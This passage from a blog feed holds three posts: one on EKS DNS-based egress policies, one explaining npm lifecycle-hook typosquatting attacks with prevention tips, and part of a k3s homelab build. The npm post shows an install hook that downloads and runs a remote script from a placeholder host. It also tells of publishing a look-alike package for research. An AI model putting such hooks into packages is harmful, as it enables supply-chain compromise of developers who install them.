&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-yaml" data-lang="yaml">&lt;span class="line">&lt;span class="cl">&lt;span class="nt">apiVersion&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">networking.k8s.aws/v1alpha1&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">kind&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">ApplicationNetworkPolicy&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">metadata&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">name&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">nginx-egress&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">namespace&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">default&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">spec&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">podSelector&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">matchLabels&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">run&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">nginx&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">policyTypes&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">Egress&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">egress&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="nt">to&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="nt">domainNames&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="s2">&amp;#34;github.com&amp;#34;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="s2">&amp;#34;api.github.com&amp;#34;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">ports&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="nt">protocol&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">TCP&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">port&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="m">443&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;em>Note: DNS based policies are supported only in &lt;strong>EKS Auto Mode&lt;/strong> clusters.&lt;/em>&lt;/p>
&lt;p>It&amp;rsquo;s ideal to allow DNS at the cluster level with the new Admin Policies, but for the sake of simplicity here&amp;rsquo;s a namespace-level policy that allows DNS:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-yaml" data-lang="yaml">&lt;span class="line">&lt;span class="cl">&lt;span class="nt">apiVersion&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">networking.k8s.io/v1&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">kind&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">NetworkPolicy&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">metadata&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">name&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">allow-dns&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">namespace&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">default&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">spec&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">podSelector&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">matchLabels&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">run&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">nginx&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">policyTypes&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">Egress&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">egress&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="nt">to&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="nt">namespaceSelector&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">matchLabels&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">kubernetes.io/metadata.name&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">kube-system&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">ports&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="nt">protocol&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">UDP&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">port&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="m">53&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="nt">protocol&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">TCP&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">port&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="m">53&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>You can apply both by running the &lt;code>kubectl apply&lt;/code> command.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">kubectl apply -f allow-github.yaml
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">kubectl apply -f allow-dns.yaml
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&amp;hellip;and that&amp;rsquo;s it. Your pods can&amp;rsquo;t reach anything other than &lt;code>github.com&lt;/code> and &lt;code>api.github.com&lt;/code>.&lt;/p>
&lt;h1 id="behind-the-scenes">behind the scenes&lt;/h1>
&lt;p>If you&amp;rsquo;re interested in what happens under the hood, AWS has explained it beautifully in &lt;a href="https://docs.aws.amazon.com/eks/latest/userguide/auto-net-pol.html">this article&lt;/a>. I&amp;rsquo;ll explain it quickly over here:&lt;/p>
&lt;ol>
&lt;li>The DNS policy is applied&lt;/li>
&lt;li>The Network Policy Controller detects the policy and tells the AWS node agent to allow DNS requests only for the allowed domains (&lt;code>github.com&lt;/code>)&lt;/li>
&lt;li>The pod (or an app running in the pod) asks for the IP of &lt;code>npmjs.com&lt;/code> and &lt;code>github.com&lt;/code>&lt;/li>
&lt;li>These requests are sent through a proxy&lt;/li>
&lt;li>The request for &lt;code>npmjs.com&lt;/code> gets blocked&lt;/li>
&lt;li>The request for &lt;code>github.com&lt;/code> is allowed&lt;/li>
&lt;li>The DNS request for &lt;code>github.com&lt;/code> passes through the DNS filter allowlist and is proxied through CoreDNS&lt;/li>
&lt;li>CoreDNS recursively resolves the IP from a DNS server&lt;/li>
&lt;li>The IP and its TTL are returned in the DNS response. They are then stored in an eBPF map (key-value store).&lt;/li>
&lt;li>eBPF probes (programs) attached to the pod’s network interface enforce egress filtering at the IP layer.&lt;/li>
&lt;li>IP validity is tied to the DNS TTL and automatically expires&lt;/li>
&lt;/ol>
&lt;h1 id="why-this-matters">why this matters&lt;/h1>
&lt;p>If a pod is compromised:&lt;/p>
&lt;ul>
&lt;li>It can’t call home&lt;/li>
&lt;li>It can’t download malware&lt;/li>
&lt;li>It can’t exfiltrate secrets&lt;/li>
&lt;/ul>
&lt;p>Even rogue dependencies are restricted to explicitly allowed domains.&lt;/p>
&lt;p>This is a huge step forward for supply-chain and workload security on EKS.&lt;/p>
&lt;h1 id="my-youtube-channel">my Youtube channel!&lt;/h1>
&lt;p>That&amp;rsquo;s right! I created a youtube channel and posted my first short video on this :) Feel free to go and &lt;a href="https://www.youtube.com/shorts/xLMUXKXoeLA">check it out&lt;/a>!&lt;/p></description></item><item><title>Hacking the World with NPM Lifecycle Hooks</title><link>https://zerodaywolf.sh/blog/npm-lifecycle-hooks/</link><pubDate>Sun, 07 Sep 2025 01:40:58 +0530</pubDate><description>&lt;p>Few developers realize how much control a package author has after you hit enter. Let&amp;rsquo;s look at a quick scenario:&lt;/p>
&lt;ul>
&lt;li>Luke is a developer who likes to try out open source libraries&lt;/li>
&lt;li>He comes across an article that tells him to install &lt;code>react&lt;/code> using npm&lt;/li>
&lt;li>Luke (like me) prefers typing to copy-pasting.. a sometimes not-so-useful habit he will soon regret&lt;/li>
&lt;li>in a hurry to install &lt;code>react&lt;/code> and build cool projects, he opens up his terminal and types in the command:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">npm install reeact
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>&lt;code>npm&lt;/code> pulls the package from the public npm registry and sets it up in his environment&lt;/li>
&lt;li>Luke goes on to use react and build projects&lt;/li>
&lt;li>Hours later, he notices his entire &lt;code>/home/luke&lt;/code> directory has been encrypted except for a ransom note file&lt;/li>
&lt;/ul>
&lt;p>The above example may sound very simple, &lt;em>yet&lt;/em> it is one of the most common supply chain attacks employed by adversaries.&lt;/p>
&lt;p>So, what actually happened? It&amp;rsquo;s simple, Luke installed a malicious dependency which ran arbitrary code once it was downloaded. A single extra “e” was all it took. This is what&amp;rsquo;s called a &lt;strong>typosquatting&lt;/strong> attack and it&amp;rsquo;s &lt;strong>incredibly&lt;/strong> effective.&lt;/p>
&lt;p>You might have heard of &amp;ldquo;domain squatting&amp;rdquo; where a threat actor registers domains which are just typos of popular domains, like faecbook.com or gamil.com, and hosts malware on top of them. It&amp;rsquo;s the same, but for open source packages! The reason this is so widespread is because &lt;a href="https://www.sciencealert.com/word-jumble-meme-first-last-letters-cambridge-typoglycaemia">our brain does not read every letter by itself, but the word as a whole&lt;/a>, so it is naturally a very enticing vector for attackers.&lt;/p>
&lt;h2 id="npm-install-lifecycle">npm-install lifecycle&lt;/h2>
&lt;p>When &lt;code>npm install &amp;lt;package&amp;gt;&lt;/code> is run, there&amp;rsquo;s a whole lifecycle that it goes through to pull the package and set it up in your environment as a dependency. Here&amp;rsquo;s what happens in a nutshell:&lt;/p>
&lt;ol>
&lt;li>npm queries the registry for the package with the &lt;code>latest&lt;/code> tag by default&lt;/li>
&lt;li>npm downloads the tarball from the public npm registry (unless registry is already set in &lt;code>.npmrc&lt;/code>)&lt;/li>
&lt;li>the tarball is extracted to &lt;code>node_modules&lt;/code>&lt;/li>
&lt;li>npm reads the &lt;code>package.json&lt;/code> and resolves each of the transitive dependencies similarly&lt;/li>
&lt;li>Depending on the &lt;code>package.json&lt;/code>, a set of lifecycle hooks are run&lt;/li>
&lt;li>The package-lock.json is updated&lt;/li>
&lt;/ol>
&lt;h2 id="hooks">hooks&lt;/h2>
&lt;p>Step 5 is where things get interesting. There exist certain &lt;a href="https://docs.npmjs.com/cli/v8/using-npm/scripts#life-cycle-operation-order">special lifecycle hooks&lt;/a> (basically scripts) that run only at specified stages of the &lt;code>npm install&lt;/code> process:&lt;/p>
&lt;ul>
&lt;li>preinstall&lt;/li>
&lt;li>install&lt;/li>
&lt;li>postinstall&lt;/li>
&lt;/ul>
&lt;p>The cool/dangerous thing is that the package publisher may choose what those scripts contain! For example, here&amp;rsquo;s a noisy &lt;code>package.json&lt;/code> that is sure to light up every scanner and its grandmother:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-json" data-lang="json">&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;my-tools&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;version&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;1.0.0&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;scripts&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;install&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;echo \&amp;#34;Running custom install step\&amp;#34; &amp;amp;&amp;amp; curl -o harmless.sh http://random-ip/a &amp;amp;&amp;amp; sh harmless.sh&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The above script runs during installation. Similarly preinstall and postinstall are executed before and after the install.&lt;/p>
&lt;h2 id="publishing-a-look-alike-package-for-research">publishing a look-alike package for research&lt;/h2>
&lt;p>A few months ago, curious to see how it would work in practice I published a package with a name similar to one released by a prominent organization. While it contained the original source code of the legit package, it also had something extra: an install hook that sent a ping to a public websocket. Mind you, all I wanted to see was how often people made mistakes and how many of these mistakes were part of CI pipelines. To my surprise within 5 minutes I received over 20 hits! I realized how fragile the npm ecosystem is.&lt;/p>
&lt;p>&lt;img src="https://zerodaywolf.sh/gallery/npm-lifecycle-hooks/01-hits.png" alt="">&lt;/p>
&lt;p>I was waiting for the package to be flagged as malicious, but it never happened. After a while, I removed it myself. I&amp;rsquo;d assumed no scanner found the script to be malicious because all it did was send a HTTP GET request.. but I was unsatisfied with that theory.&lt;/p>
&lt;p>Now this was just some package that was abandoned for almost four years. I shudder to think what the risk looks like for actively maintained projects.&lt;/p>
&lt;h2 id="data-exfiltration-and-persistence">data exfiltration and persistence&lt;/h2>
&lt;p>Once there&amp;rsquo;s code execution on the machine, there are a gazillion ways to persist/elevate access. Writing to shell config files, editing the PATH environment variable, overwriting other npm modules are just a few.&lt;/p>
&lt;p>A more common tactic involves malware that exfiltrates secrets and private keys from workstations, servers, and CI/CD runners and then using these secrets to gain access to entire organization repositories or popular packages. The recent attack on the &lt;a href="https://semgrep.dev/blog/2025/security-alert-nx-compromised-to-steal-wallets-and-credentials/">nx package used a similar postinstall hook&lt;/a> that scanned the entire file system for credentials and uploaded them to a new Github repository on the affected user&amp;rsquo;s account called &lt;code>s1ngularity&lt;/code> or &lt;code>s1ngularity-repository&lt;/code>. The script even leveraged LLMs like Claude, Q and Gemini via CLI.&lt;/p>
&lt;p>This has been going on for over a &lt;strong>decade&lt;/strong> now with packages like eslint, eslint-plugin-prettier, synckit also being affected in the past. The malware referenced by these lifecycle scripts is usually obfuscated, encoded or encrypted to prevent detection.&lt;/p>
&lt;h2 id="prevention">prevention&lt;/h2>
&lt;ul>
&lt;li>Always ensure you&amp;rsquo;re verifying the scripts in the &lt;code>package.json&lt;/code> before pulling.&lt;/li>
&lt;li>Use &lt;code>--ignore-scripts&lt;/code> while testing new packages&lt;/li>
&lt;li>Avoid pulling packages that were:
&lt;ul>
&lt;li>published less than 72 hours ago&lt;/li>
&lt;li>Have a single owner/maintainer&lt;/li>
&lt;li>Had less than 300 downloads over the last week&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Pin the dependency&amp;rsquo;s version in your package-lock.json and avoid pulling the latest tag.&lt;/li>
&lt;li>If you are part of an organization, using a proxy like &lt;a href="https://github.com/verdaccio/verdaccio">Verdaccio&lt;/a> for the NPM registry with an allowlist is recommended.&lt;/li>
&lt;/ul></description></item><item><title>Bootstrapping k3s with ArgoCD, Cilium, and MetalLB</title><link>https://zerodaywolf.sh/blog/multi-node-k3s-build/</link><pubDate>Sat, 06 Sep 2025 01:40:58 +0530</pubDate><description>&lt;p>For a long time I ran a vanilla Kubernetes cluster (kubeadm) as a single-node setup on my HP Elitedesk 800 G2 SFF running Debian. It got the job done, but the hardware always felt under-utilized, and I wanted a more realistic, production-like environment to experiment with high availability, scaling, and needed better resource usage.&lt;/p>
&lt;p>Cut to last weekend: I finally installed Proxmox (something &lt;a href="https://www.linkedin.com/in/sujeeth-ap/">Sujeeth&lt;/a> has been nudging me to do for ages), and my homelab instantly felt like it had levelled up! VNets, snapshots, easy VM management… I was pumped!&lt;/p>
&lt;h3 id="access-setup">Access Setup&lt;/h3>
&lt;p>My goal was to replace that lonely single-node with a lightweight, multi-node k3s cluster. Fun fact: In a K3s cluster, you won’t spot separate pods for the API server, kube-proxy, or kube-controller-manager in kube-system. Why? Because k3s packs them all into a single tiny binary!&lt;/p>
&lt;p>My setup consisted of:&lt;/p>
&lt;ul>
&lt;li>one control plane node&lt;/li>
&lt;li>two worker nodes&lt;/li>
&lt;/ul>
&lt;p>All three VMs lived inside an isolated Proxmox VNet, so there was no direct way to reach them, and I &lt;strong>really&lt;/strong> didn’t feel like dealing with port forwarding or performing unnecessary wireguard gymnastics. So I did what any sleep-deprived, sane person would do at 2.30 AM, so I installed Tailscale on the control plane. From there, I could hop into the worker nodes via SSH whenever I needed. That extra access was purely for convenience during setup, because, honestly, I’ll take SSH over clunky VNC any day.&lt;/p>
&lt;h3 id="k3s-installation-1-server-2-agents">k3s installation (1 server, 2 agents)&lt;/h3>
&lt;p>k3s ships with Traefik by default, but I’m more comfortable managing nginx, and since I plan to move toward Gateway API later, it didn’t make sense to invest effort in a setup I’d eventually replace.&lt;/p>
&lt;p>I’d worked with Calico before and found it solid, but I always wanted to try Cilium because of its eBPF-powered approach to networking and security. This was a good time to make the switch.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">curl -sfL https://get.k3s.io &lt;span class="p">|&lt;/span> &lt;span class="nv">INSTALL_K3S_EXEC&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;--flannel-backend=none --disable=traefik --disable-network-policy&amp;#39;&lt;/span> sh -
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The k3s install was pretty much &lt;a href="https://docs.cilium.io/en/stable/installation/k3s/">straightforward&lt;/a>, albeit not without its own quirks. At first, the agents couldn’t resolve &lt;code>K3S_URL&lt;/code> https://controlplane:6443 during bootstrap, so I fell back to the node’s IP:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># didn’t work&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">curl -sfL https://get.k3s.io &lt;span class="p">|&lt;/span> &lt;span class="nv">K3S_URL&lt;/span>&lt;span class="o">=&lt;/span>https://controlplane:6443 &lt;span class="nv">K3S_TOKEN&lt;/span>&lt;span class="o">=&lt;/span>mynodetoken sh -
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># worked&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">curl -sfL https://get.k3s.io &lt;span class="p">|&lt;/span> &lt;span class="nv">K3S_URL&lt;/span>&lt;span class="o">=&lt;/span>https://192.168.1.10:6443 &lt;span class="nv">K3S_TOKEN&lt;/span>&lt;span class="o">=&lt;/span>mynodetoken sh -
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Once that clicked, the cluster was alive! Well almost.&lt;/p>
&lt;h3 id="cilium-for-networking-fun">Cilium for Networking Fun&lt;/h3>
&lt;p>Installing the cilium CLI was painless: I grabbed the latest version, verified the checksums, dropped the binary into &lt;code>/usr/local/bin&lt;/code>, and got rolling:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">CILIUM_CLI_VERSION&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="k">$(&lt;/span>curl -s https://raw.githubusercontent.com/cilium/cilium-cli/main/stable.txt&lt;span class="k">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">CLI_ARCH&lt;/span>&lt;span class="o">=&lt;/span>amd64
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="o">[&lt;/span> &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="k">$(&lt;/span>uname -m&lt;span class="k">)&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;aarch64&amp;#34;&lt;/span> &lt;span class="o">]&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="k">then&lt;/span> &lt;span class="nv">CLI_ARCH&lt;/span>&lt;span class="o">=&lt;/span>arm64&lt;span class="p">;&lt;/span> &lt;span class="k">fi&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">curl -L --fail --remote-name-all https://github.com/cilium/cilium-cli/releases/download/&lt;span class="si">${&lt;/span>&lt;span class="nv">CILIUM_CLI_VERSION&lt;/span>&lt;span class="si">}&lt;/span>/cilium-linux-&lt;span class="si">${&lt;/span>&lt;span class="nv">CLI_ARCH&lt;/span>&lt;span class="si">}&lt;/span>.tar.gz&lt;span class="o">{&lt;/span>,.sha256sum&lt;span class="o">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sha256sum --check cilium-linux-&lt;span class="si">${&lt;/span>&lt;span class="nv">CLI_ARCH&lt;/span>&lt;span class="si">}&lt;/span>.tar.gz.sha256sum
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo tar xzvfC cilium-linux-&lt;span class="si">${&lt;/span>&lt;span class="nv">CLI_ARCH&lt;/span>&lt;span class="si">}&lt;/span>.tar.gz /usr/local/bin
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">rm cilium-linux-&lt;span class="si">${&lt;/span>&lt;span class="nv">CLI_ARCH&lt;/span>&lt;span class="si">}&lt;/span>.tar.gz&lt;span class="o">{&lt;/span>,.sha256sum&lt;span class="o">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">cilium status --wait
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">cilium install --version 1.18.1 --set&lt;span class="o">=&lt;/span>ipam.operator.clusterPoolIPv4PodCIDRList&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;10.42.0.0/16&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Seeing cilium status finally go green was a rush, pod networking was setup!&lt;/p>
&lt;h3 id="argocd--gitops-bliss">ArgoCD &amp;amp; GitOps Bliss&lt;/h3>
&lt;p>ArgoCD &lt;a href="https://argo-cd.readthedocs.io/en/stable/#quick-start">setup&lt;/a> was smooth. I hooked it to my GitOps repo and went with an &lt;a href="https://argo-cd.readthedocs.io/en/latest/operator-manual/cluster-bootstrapping/#app-of-apps-pattern">&lt;strong>App of Apps&lt;/strong>&lt;/a> pattern.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">├── apps
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ ├── Chart.yaml
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ ├── templates
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ │ └── applications.yaml
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ └── values.yaml
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">├── cert-manager
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ └── clusterissuer.yml
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">├── clip
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ └── clip.yaml
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">├── external-dns
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ └── externaldns.yaml
